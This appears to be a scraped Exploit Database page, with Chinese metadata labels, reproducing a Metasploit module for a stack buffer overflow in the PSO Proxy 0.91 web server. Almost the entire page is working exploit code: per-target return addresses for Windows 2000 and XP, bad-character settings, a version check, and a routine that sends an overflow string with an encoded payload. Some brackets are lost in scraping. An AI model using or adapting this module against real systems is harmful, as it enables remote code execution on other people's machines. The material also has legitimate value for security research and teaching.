PSOProxy 0.91 – Stack Buffer Overflow (Metasploit)

Exploit Database
129 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/16790/

# $Id: psoproxy91_overflow.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'PSO Proxy v0.91 Stack Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in the PSO Proxy v0.91 web server.

If a client sends an excessively long string the stack is overwritten.

'Author' => 'Patrick Webster <patrick@aushack.com>',

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2004-0313' ],

[ 'OSVDB', '4028' ],

[ 'URL', 'http://www.milw0rm.com/exploits/156' ],

[ 'BID', '9706' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 370,

'BadChars' => "\x00\x0a\x0d\x20",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

# Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.

[ 'Windows 2000 Pro SP0-4 English',{ 'Ret' => 0x75023112 } ], # call ecx ws2help.dll

[ 'Windows 2000 Pro SP0-4 French', { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll

[ 'Windows 2000 Pro SP0-4 Italian',{ 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll

[ 'Windows XP Pro SP0/1 English',{ 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll

[ 'Windows XP Pro SP2 English', { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll

'Privileged' => false,

'DisclosureDate' => 'Feb 20 2004'

))

register_options(

[

Opt::RPORT(8080),

], self.class)

end

def check

connect

sock.put("GET / HTTP/1.0\r\n\r\n")

banner = sock.get(-1,3)

if (banner =~ /PSO Proxy 0\.9/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

connect

exploit = rand_text_alphanumeric(1024, payload_badchars)

exploit += [target['Ret']].pack('V') + payload.encoded

sock.put(exploit + "\r\n\r\n")

disconnect

handler

end